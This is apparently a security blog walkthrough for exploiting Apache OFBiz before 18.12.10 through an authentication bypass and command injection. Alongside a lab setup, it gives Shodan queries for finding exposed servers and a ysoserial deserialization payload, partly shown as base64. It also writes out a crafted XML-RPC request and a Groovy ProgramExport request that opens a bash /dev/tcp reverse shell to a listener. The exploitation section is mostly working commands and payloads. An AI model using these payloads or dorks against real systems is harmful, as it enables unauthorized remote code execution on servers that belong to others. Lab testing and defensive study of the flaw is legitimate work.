How to test and exploit Apache Ofbiz < 18.12.10. Authentication Bypass & Command Injection

Author:
Published on:

How to test and exploit Apache Ofbiz < 18.12.10 Authentication Bypass & Command Injection

André Eichhofer

Preparing the test environment

  1. Download package and unpack under any Linux directory
  2. Build OFBiz container image
    • Navigate into Ofbiz directory
    • DOCKER_BUILDKIT=1 docker build --tag ofbiz-docker .
    • docker run -it -e OFBIZ_DATA_LOAD=demo --name ofbiz-docker -p 8443:8443 ofbiz-docker: Run Ofbiz container
  3. Add hostname on MacOS
    If you want to call the application from a browser in a different host, you must add the hostname and IP from the test host.
    • cat /etc/hostname
    • 192.168.6.128 demo-trunk.ofbiz.apache.org
    • see ofbiz/framework/security/config/security.properties
  4. Start application
    • https://demo-trunk.ofbiz.apache.org:8443/partymgr
      • Credentials: admin:ofbiz
    • mitmproxy --ssl-insecure
    • http --verify=no https://localhost:8443/partymgr --proxy=https:http://127.0.0.1:8000: send request through mitmproxy

Reconnaissance

Shodan

  • OFBiz.Visitor
  • http.html:"ordermgr"
  • http.html:"release18.12"
  • OFBiz.Visitor http.html:"Order Manager"+"release"

Preconditions

Affected are versions 18.12.10. or earlier. The xmlrpc endpoint must exist at the vulnerable Ofbiz version:

  • 192.168.6.128:8443/webtools/control/xmlrpc: check for xmlrpc endpoint
  • 192.168.6.128:8443/webtools/control/ping/: check for ping endpoint

Authentication bypass

There is an authorization bypass which allows to execute build-in commands under /webtools/control/ unauthorized. (The bypass only allows the execution of build-in commands, login bypass is not possible.)

Test authorization bypass with build-in ping command:

https://192.168.6.128:8443/webtools/control/ping/?USERNAME=&PASSWORD=&requirePasswordChange=Y

HTTP/1.1 200 OK
Pong

XMLRPC Command injection

If xmlrpc is available, the authorization bypass allows the execution of arbitrary commands through xmlrpc. The code can be injected as base64 encoded java command. You need to send a post request in XML structure containing the serializable java code.

  1. Test if xmlrpc endpoint is accessible
inspect xmlrpc request with Burp Suite
Request and response if xmlrpc is accessible
  1. Prepare payload

    The payload is a base64 encoded java command.

    Generate the payload with ysoserial as follows:

    java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add- opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 <your_command> | base64 | tr -d "\n"

    Example: touch test.txt

    java -jar --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED ysoserial-all.jar CommonsBeanutils1 "touch test.txt" | base64 | tr -d "\n"

    The output is base64 encoded payload:

    rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABsDK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGx
  2. Craft a POST request containing the payload

    Next craft a POST request containg an XML structure with the payload. The base 64 encoded payload is inserted at the serialized_data injection point.

    • <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_data</serializable

    Example

    POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
    Host: localhost:8443
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Content-Length: 3969
    Content-Type: application/xml
    
    <?xml version="1.0"?>
    <methodCall>
      <methodName>Methodname</methodName>
      <params>
        <param>
        <value>
          <struct>
            <member>
              <name>test</name>
              <value>
                <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3........</serializable>
              </value>
            </member>
          </struct>
        </value>
      </param>
     </params>
    </methodCall>

Note: The response contains the same XML “faultcode” message as when testing the xmlrpc endpoint (see above).


  1. Check Docker container

    Check Docker container if the payload (touch test.txt) was executed:

    • docker exec -it ofbiz-docker /bin/bash

    The file should have been created within the /ofbiz folder.

https://www.vicarius.io/vsociety/posts/apache-ofbiz-authentication-bypass-vulnerability-cve-2023-49070-and-cve-2023-51467

https://www.prio-n.com/blog/cve-2023-49070-51467-attacking-defending-Apache-OFBiz

https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/

Groovy Program Export command injection

A second command injection is possible by authentication bypass and through the Groovy Programm Export endpoint under https://localhost:8443/webtools/control/ProgramExport/.

  1. Test if the endpoint is accessible

    POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
    Host: demo-trunk.ofbiz.apache.org:8443
    Cookie: JSESSIONID=49304432186DE22274E38DCB9034EC75.jvm1; webtools.securedLoginId=admin; OFBiz.Visitor=10101
    ...
    ...   
    Connection: close
    
    groovyProgram=<groovy_payload_here>
  2. Start a listener on the attacker machine

    nc -lp 8888
  3. Execute a reverse shell on the victim machine

    http --verify=no --print hH --form POST "https://localhost:8443/webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y" groovyProgram="x=new String[3];x[0]='bash';x[1]='-c';x[2]='bash -i >%26 /dev/tcp/192.168.8.2/8888 0>%261;';x.execute();"

Links:

vulncheck.com/blog/ofbiz-cve-2023-51467